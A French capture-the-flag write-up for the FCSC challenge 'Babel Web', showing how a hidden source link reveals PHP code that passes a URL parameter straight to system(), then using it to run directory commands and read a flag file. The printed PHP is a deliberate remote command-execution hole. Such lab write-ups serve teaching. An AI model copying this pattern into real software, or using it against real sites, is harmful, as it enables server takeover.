Solution de stef38-code pour Babel Web

intro web

8 janvier 2025

Table des matières

Analyse de la page

  • Ouvrir ‘Outils de développement’ ou touche F12.
    Dans l’onglet ‘élements’, on remarque une ligne mise en commentaire.
<!-- <a href="?source=1">source</a> -->
  • Éditer le code, click-droit, edit page et on supprime les balises commentaires de cette ligne.
  • La page se recharge avec un lien source. La page affiche un bout de code PHP, il doit y avoir une page index.php.
<?php
    if (isset($_GET['source'])) {
        @show_source(__FILE__);
    }  else if(isset($_GET['code'])) {
        print("<pre>");
        @system($_GET['code']);
        print("<pre>");
    } else {
?>
<html>
    <head>
        <title>Bienvenue à Babel Web!</title>
    </head>
    <body>
        <h1>Bienvenue à Babel Web!</h1>
        La page est en cours de développement, merci de revenir plus tard.
        <!-- <a href="?source=1">source</a> -->
    </body>
</html>
<?php
    }
?>

La suite

La réponse :

/var/www/html

vu que la commnde pwd répond, essayons de lister les fichiers

La réponse :

total 16
drwxr-xr-x 1 root     root     4096 Nov 15  2022 ..
-rw-r--r-- 1 root     root      439 Apr 30  2023 index.php
-rw-r--r-- 1 root     root       89 Apr 30  2023 flag.php
drwxrwxrwx 1 www-data www-data 4096 Nov 29  2023 .

on ne voit rien mais pas d’erreur, un petit tour dans les outils de développement

Dans les sources de la page, on peut voir un commentaire, composé de FCSC{.....}, Bingo ;-)